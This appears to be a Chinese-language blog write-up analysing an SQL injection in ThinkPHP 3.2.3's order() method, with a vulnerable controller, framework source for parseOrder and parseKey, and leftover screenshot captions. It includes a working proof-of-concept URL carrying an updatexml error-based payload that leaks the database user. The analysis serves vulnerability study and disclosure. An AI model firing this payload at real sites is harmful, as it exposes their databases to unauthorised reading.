控制器代码:

    public function index(){
        $username=I("username");
        $order=I("order");
        $data=M('users')->where(array('username'=>$username))->order($order)->select();
        dump($data);
    }

 

复现:

payload:

http://localhost/tp/tp3.2.3/?username=1jzz&order[updatexml(1,concat(0x3a,user()),1)]

thinkphp3.2 order注入_sql注入

 

 

分析:

1、parseOrder函数分析

 1     protected function parseOrder($order) {
 2         if(is_array($order)) {
 3             $array   =  array();
 4             foreach ($order as $key=>$val){
 5                 if(is_numeric($key)) {
 6                     $array[] =  $this->parseKey($val);
 7                 }else{
 8                     $array[] =  $this->parseKey($key).' '.$val;
 9                 }
10             }
11             $order   =  implode(',',$array);
12         }
13         return !empty($order)?  ' ORDER BY '.$order:'';
14     }

thinkphp3.2 order注入_字符串_02

这里我们传入的order数组中,key值为我们所要注入的代码,value值则为空。

经过第5行的if判断,这里的key值不为数字或者数字字符串,接着执行第8行的代码。

 

2、parseKey函数分析

1     protected function parseKey(&$key) {
2         $key   =  trim($key);
3         if(!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/',$key)) {
4            $key = '`'.$key.'`';
5         }
6         return $key;
7     }

thinkphp3.2 order注入_xml_03

这里返回了传入的key值,并切成功的加在的sql语句中,形成sql注入

thinkphp3.2 order注入_xml_04

thinkphp3.2 order注入_sql注入_05